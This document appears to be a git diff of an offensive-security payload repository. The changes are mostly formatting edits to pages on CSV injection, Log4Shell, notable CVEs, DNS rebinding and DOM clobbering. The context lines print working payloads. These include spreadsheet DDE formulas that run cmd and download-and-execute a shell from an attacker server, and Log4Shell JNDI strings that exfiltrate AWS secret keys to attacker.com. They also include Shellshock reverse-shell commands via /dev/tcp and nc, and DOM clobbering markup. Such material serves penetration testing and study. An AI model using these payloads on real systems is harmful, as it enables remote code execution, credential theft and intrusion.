diff --git a/CSV Injection/README.md b/CSV Injection/README.md index eb5feb19..3c65ca6a 100644 --- a/CSV Injection/README.md +++ b/CSV Injection/README.md @@ -2,17 +2,15 @@ > Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed. - ## Summary * [Methodology](#methodology) - * [Google Sheets](#google-sheets) + * [Google Sheets](#google-sheets) * [References](#references) - ## Methodology -CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with: +CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with: ```powershell = @@ -21,10 +19,10 @@ CSV Injection, also known as Formula Injection, is a security vulnerability that @ ``` - Basic exploits with **Dynamic Data Exchange**. * Spawn a calc + ```powershell DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+1)*cmd|' /C calc'!A0 @@ -33,11 +31,13 @@ Basic exploits with **Dynamic Data Exchange**. ``` * PowerShell download and execute + ```powershell =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 ``` * Prefix obfuscation and command chaining + ```powershell =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A @@ -45,21 +45,23 @@ Basic exploits with **Dynamic Data Exchange**. ``` * Using rundll32 instead of cmd + ```powershell =rundll32|'URL.dll,OpenURL calc.exe'!A =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A ``` * Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed. + ```powershell = C m D | '/ c c al c . e x e ' ! A ``` Technical details of the above payloads: -- `cmd` is the name the server can respond to whenever a client is trying to access the server -- `/C` calc is the file name which in our case is the calc(i.e the calc.exe) -- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data +* `cmd` is the name the server can respond to whenever a client is trying to access the server +* `/C` calc is the file name which in our case is the calc(i.e the calc.exe) +* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data ### Google Sheets @@ -73,7 +75,7 @@ Google Sheets allows some additionnal formulas that are able to fetch remote URL So one can test blind formula injection or a potential for data exfiltration with: -``` +```c =IMPORTXML("http://burp.collaborator.net/csv", "//a/@href") ``` @@ -81,10 +83,10 @@ Note: an alert will warn the user a formula is trying to contact an external res ## References -- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection) -- [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection) -- [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/) -- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/) -- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html) -- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation) -- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection) +* [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection) +* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection) +* [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/) +* [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/) +* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html) +* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation) +* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection) diff --git a/CVE Exploits/Log4Shell.md b/CVE Exploits/Log4Shell.md index 6ca8e892..1099df8d 100644 --- a/CVE Exploits/Log4Shell.md +++ b/CVE Exploits/Log4Shell.md @@ -17,6 +17,7 @@ You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn]( https://github.com/leonjza/log4jpwn) + ```java public String index(@RequestHeader("X-Api-Version") String apiVersion) { logger.info("Received a request for API version " + apiVersion); @@ -45,14 +46,15 @@ bundle:config:db.password ## Scanning * [log4j-scan](https://github.com/fullhunt/log4j-scan) + ```powershell usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass ``` -* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml) +* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml) ## WAF Bypass @@ -80,10 +82,10 @@ ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/ ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY} ``` - ### Remote Command Execution * [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi) + ```ps1 java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21" Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference @@ -95,11 +97,11 @@ ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 ``` -* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit) +* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit) ## References * [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/) * [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/) -* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/) \ No newline at end of file +* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/) diff --git a/CVE Exploits/README.md b/CVE Exploits/README.md index fd98e779..61f3711e 100644 --- a/CVE Exploits/README.md +++ b/CVE Exploits/README.md @@ -15,14 +15,12 @@ * [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock) * [References](#references) - ## Tools -- [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve) -- [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates) -- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) -- [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com) - +* [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve) +* [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates) +* [Metasploit Framework](https://github.com/rapid7/metasploit-framework) +* [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com) ## Big CVEs in the last 15 years @@ -31,48 +29,44 @@ EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer. Afftected systems: -- Windows Vista SP2 -- Windows Server 2008 SP2 and R2 SP1 -- Windows 7 SP1 -- Windows 8.1 -- Windows Server 2012 Gold and R2 -- Windows RT 8.1 -- Windows 10 Gold, 1511, and 1607 -- Windows Server 2016 +* Windows Vista SP2 +* Windows Server 2008 SP2 and R2 SP1 +* Windows 7 SP1 +* Windows 8.1 +* Windows Server 2012 Gold and R2 +* Windows RT 8.1 +* Windows 10 Gold, 1511, and 1607 +* Windows Server 2016 ### CVE-2017-5638 - Apache Struts 2 On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header. - ### CVE-2018-7600 - Drupalgeddon 2 A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised. - ### CVE-2019-0708 - BlueKeep A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. - ### CVE-2019-19781 - Citrix ADC Netscaler A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution. Affected products: -- Citrix ADC and Citrix Gateway version 13.0 all supported builds -- Citrix ADC and NetScaler Gateway version 12.1 all supported builds -- Citrix ADC and NetScaler Gateway version 12.0 all supported builds -- Citrix ADC and NetScaler Gateway version 11.1 all supported builds -- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds +* Citrix ADC and Citrix Gateway version 13.0 all supported builds +* Citrix ADC and NetScaler Gateway version 12.1 all supported builds +* Citrix ADC and NetScaler Gateway version 12.0 all supported builds +* Citrix ADC and NetScaler Gateway version 11.1 all supported builds +* Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds ### CVE-2014-0160 - Heartbleed The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs). - ### CVE-2014-6271 - Shellshock Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system. @@ -82,7 +76,6 @@ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0 curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi" ``` - ## References * [Heartbleed - Official website](http://heartbleed.com) diff --git a/DNS Rebinding/README.md b/DNS Rebinding/README.md index 6bb26479..2e508ce6 100644 --- a/DNS Rebinding/README.md +++ b/DNS Rebinding/README.md @@ -8,18 +8,16 @@ * [Methodology](#methodology) * [Protection Bypasses](#protection-bypasses) * [0.0.0.0](#0000) - * [CNAME](#CNAME) + * [CNAME](#cname) * [localhost](#localhost) * [References](#references) - ## Tools -- [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework. -- [rebind.it](http://rebind.it/) - Singularity of Origin Web Client. -- [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service -- [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper - +* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework. +* [rebind.it](http://rebind.it/) - Singularity of Origin Web Client. +* [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service +* [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper ## Methodology @@ -50,16 +48,14 @@ The browser treats subsequent responses as coming from the same origin (`malicio Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions. - **Example:** 1. Register a domain. 2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation). 3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs. -4. Browse to "http://rebinder.your.domain:8080/autoattack.html". +4. Browse to `http://rebinder.your.domain:8080/autoattack.html`. 5. Wait for the attack to finish (it can take few seconds/minutes). - ## Protection Bypasses > Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges. @@ -95,7 +91,6 @@ $ dig www.example.com +noall +answer localhost.example.com. 381 IN CNAME localhost. ``` - ## References -- [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F) +* [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F) diff --git a/DOM Clobbering/README.md b/DOM Clobbering/README.md index a2309c7a..645acf3c 100644 --- a/DOM Clobbering/README.md +++ b/DOM Clobbering/README.md @@ -9,19 +9,18 @@ - [Lab](#lab) - [References](#references) - ## Tools - [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers - [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers. - [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities - ## Methodology Exploitation requires any kind of `HTML injection` in the page. -* Clobbering `x.y.value` +- Clobbering `x.y.value` + ```html // Payload
I've been clobbered @@ -30,7 +29,8 @@ Exploitation requires any kind of `HTML injection` in the page. ``` -* Clobbering `x.y` using ID and name attributes together to form a DOM collection +- Clobbering `x.y` using ID and name attributes together to form a DOM collection + ```html // Payload @@ -39,7 +39,8 @@ Exploitation requires any kind of `HTML injection` in the page. ``` -* Clobbering `x.y.z` - 3 levels deep +- Clobbering `x.y.z` - 3 levels deep + ```html // Payload @@ -49,7 +50,8 @@ Exploitation requires any kind of `HTML injection` in the page. ``` -* Clobbering `a.b.c.d` - more than 3 levels +- Clobbering `a.b.c.d` - more than 3 levels + ```html // Payload